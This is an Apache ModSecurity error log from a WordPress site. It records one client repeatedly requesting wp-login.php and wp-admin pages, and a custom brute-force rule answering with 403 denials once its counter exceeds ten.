[Fri Feb 27 20:57:02.422257 2026] [:error] [pid 54103:tid 54176] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUnuvG4MPCmE0B2sCfxAAAAMU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:03.638924 2026] [:error] [pid 54103:tid 54180] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUn-vG4MPCmE0B2sCfxQAAAMk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:07.472992 2026] [:error] [pid 54103:tid 54173] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUo-vG4MPCmE0B2sCfyQAAAMI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:08.720896 2026] [:error] [pid 54103:tid 54193] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUpOvG4MPCmE0B2sCfygAAANY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:11.275083 2026] [:error] [pid 54103:tid 54178] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUp-vG4MPCmE0B2sCfzAAAAMc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:12.651319 2026] [:error] [pid 54103:tid 54178] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUqOvG4MPCmE0B2sCfzQAAAMc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:15.245819 2026] [:error] [pid 54103:tid 54186] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUq-vG4MPCmE0B2sCf0AAAAM8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:16.554732 2026] [:error] [pid 54103:tid 54191] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUrOvG4MPCmE0B2sCf0QAAANQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:19.168072 2026] [:error] [pid 54103:tid 54183] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUr-vG4MPCmE0B2sCf1AAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:19.168151 2026] [:error] [pid 54103:tid 54183] [client 159.203.62.100:35324] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUr-vG4MPCmE0B2sCf1AAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:20.012755 2026] [:error] [pid 54101:tid 54111] [client 159.203.62.100:52894] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGUsFY5qgRktcYTGFs9BwAAAcM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:20.851831 2026] [:error] [pid 54102:tid 54145] [client 159.203.62.100:52896] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGUsHi74D4fiYUm_GdqGwAAAIE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:21.693682 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:52912] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGUsYa650YPyxXVeRY6hQAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:22.540458 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:52914] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUssKBhrfI6KNv9RiwZAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:25.300289 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:52914] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUtcKBhrfI6KNv9RiwfAAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:25.300378 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:52914] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUtcKBhrfI6KNv9RiwfAAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:26.155183 2026] [:error] [pid 49306:tid 49315] [client 159.203.62.100:52924] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGUtvnSUDZue59Px9sGZwAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:26.987895 2026] [:error] [pid 49306:tid 49318] [client 159.203.62.100:52940] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGUtvnSUDZue59Px9sGbwAAAUo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:27.823673 2026] [:error] [pid 49306:tid 49308] [client 159.203.62.100:52950] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGUt_nSUDZue59Px9sGdQAAAUA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:28.673835 2026] [:error] [pid 54231:tid 54243] [client 159.203.62.100:52960] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUuOTvb5AeyJCdY7AJFAAAAEk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:31.685991 2026] [:error] [pid 54231:tid 54241] [client 159.203.62.100:52960] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUu-Tvb5AeyJCdY7AJHQAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:31.686066 2026] [:error] [pid 54231:tid 54241] [client 159.203.62.100:52960] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUu-Tvb5AeyJCdY7AJHQAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:32.531761 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:35858] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGUvMKBhrfI6KNv9RiwjwAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:33.363770 2026] [:error] [pid 49306:tid 49309] [client 159.203.62.100:35870] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGUvfnSUDZue59Px9sGhQAAAUE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:34.222226 2026] [:error] [pid 49306:tid 49329] [client 159.203.62.100:35872] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGUvvnSUDZue59Px9sGiQAAAVU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:35.065182 2026] [:error] [pid 54103:tid 54190] [client 159.203.62.100:35880] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUv-vG4MPCmE0B2sCf2AAAANM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:35.065251 2026] [:error] [pid 54103:tid 54190] [client 159.203.62.100:35880] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUv-vG4MPCmE0B2sCf2AAAANM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:35.911137 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:35888] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGUv8KBhrfI6KNv9RiwqgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:36.750845 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:35892] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGUwMKBhrfI6KNv9RiwsAAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:37.597047 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:35902] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGUwYa650YPyxXVeRY6xwAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:38.445231 2026] [:error] [pid 49306:tid 49328] [client 159.203.62.100:35908] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGUwvnSUDZue59Px9sGkAAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:39.283294 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:35044] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUw8KBhrfI6KNv9RiwwwAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:40.669961 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:35044] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGUxMKBhrfI6KNv9RiwzgAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:41.511284 2026] [:error] [pid 54103:tid 54173] [client 159.203.62.100:35046] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGUxevG4MPCmE0B2sCf3AAAAMI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:42.354086 2026] [:error] [pid 54103:tid 54178] [client 159.203.62.100:35058] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGUxuvG4MPCmE0B2sCf3wAAAMc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:43.193645 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:35070] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGUx8KBhrfI6KNv9Riw2wAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:44.047508 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:35084] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUyMKBhrfI6KNv9Riw5AAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:46.690938 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:35084] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUysKBhrfI6KNv9Riw-AAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:47.978053 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:35084] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUy8KBhrfI6KNv9RixAQAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:50.604174 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:35084] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUzsKBhrfI6KNv9RixGAAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:51.809125 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:35084] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGUz8KBhrfI6KNv9RixHwAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:54.362281 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:35084] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU0sKBhrfI6KNv9RixMwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:54.362343 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:35084] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU0sKBhrfI6KNv9RixMwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:55.204809 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:32938] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGU08KBhrfI6KNv9RixQgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:56.067316 2026] [:error] [pid 54231:tid 54245] [client 159.203.62.100:32942] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGU1OTvb5AeyJCdY7AJJgAAAEs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:56.914080 2026] [:error] [pid 54231:tid 54254] [client 159.203.62.100:32948] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGU1OTvb5AeyJCdY7AJLQAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:57:57.750811 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:32956] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU1cKBhrfI6KNv9RixXAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:00.420105 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:32956] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU2MKBhrfI6KNv9RixcwAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:01.780189 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:32956] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU2cKBhrfI6KNv9RixfgAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:04.479142 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:32956] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU3MKBhrfI6KNv9RixkQAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:04.479221 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:32956] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGU3MKBhrfI6KNv9RixkQAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:05.326077 2026] [:error] [pid 54102:tid 54149] [client 159.203.62.100:42278] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGU3Xi74D4fiYUm_GdqKAAAAIU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:58:06.192526 2026] [:error] [pid 54102:tid 54144] [client 159.203.62.100:42292] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGU3ni74D4fiYUm_GdqKQAAAIA"], referer: https://gigfragments.org/wp-login.php
